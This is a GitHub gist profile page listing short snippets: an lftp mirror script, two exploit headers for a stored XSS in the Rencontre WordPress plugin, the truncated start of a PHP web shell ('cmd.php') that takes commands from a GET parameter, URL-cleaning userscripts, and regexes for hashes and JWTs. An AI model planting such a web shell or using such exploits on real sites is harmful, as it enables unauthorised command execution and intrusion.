Skip to content

Instantly share code, notes, and snippets.

View sathishshan's full-sized avatar

Sathish Kumar sathishshan

View GitHub Profile
# General mirror
USER=""
PASSWORD=""
HOST=""
REMOTE_DIR=""
LOCAL_DIR=""
lftp -u "$USER","$PASSWORD" $HOST <<EOF
# the next 3 lines put you in ftpes mode. Uncomment if you are having trouble connecting.
# Exploit Title: Rencontre Wordpress plugin - Authenticated Stored XSS
# Date: 03/08/2019
# Exploit Author: Sathishshan
# Version: <= 3.1.3
# Vendor Homepage: Recontre
# Software Link: https://wordpress.org/plugins/rencontre/
# Tested on: Ubuntu-server 18.0.* OS
# Category : Webapps
# Description
# Exploit Title: Rencontre Wordpress plugin - Authenticated Stored XSS
# Date: 04/08/2019
# Exploit Author: Sathishshan
# Version: <= 3.1.3
# Vendor Homepage: Recontre
# Software Link: https://wordpress.org/plugins/rencontre/
# Tested on: Ubuntu-server 18.0.* OS
# Category : Webapps
# Description
@sathishshan
sathishshan / cmd.php
Created June 2, 2020 04:00
Simple PHP SHELL to Execute System Commands
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if($_GET['cmd'])
{
// ==UserScript==
// @name Remove-UTM-from-URL
// @namespace parameter_blocker
// @description Removes UTM from url (by reloading)
// @version 1.0
// @include https://www.naukri.com/job-listings*
// @run-at document-start
// ==/UserScript==
var loc = window.top.location.toString();
// ==UserScript==
// @name Remove_Params
// @namespace parameter_blocker
// @description Remove any parameter from the url
// @version 1.0
// @include *
// @run-at document-start
// ==/UserScript==
var loc = window.top.location.toString();

Regex to match MD2, MD4, MD5, SHA224, SHA256, SHA384, SHA512 hashes in case someone needs it.

([a-fA-F0-9]{32}(?:[a-fA-F0-9]{8})?(?:[a-fA-F0-9]{16})?(?:[a-fA-F0-9]{8})?(?:[a-fA-F0-9]{32})?(?:[a-fA-F0-9]{32})?)

@sathishshan
sathishshan / jwt_token_match.md
Last active December 31, 2020 08:57
Regex to match JWTs

Regex to match JWTs

[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*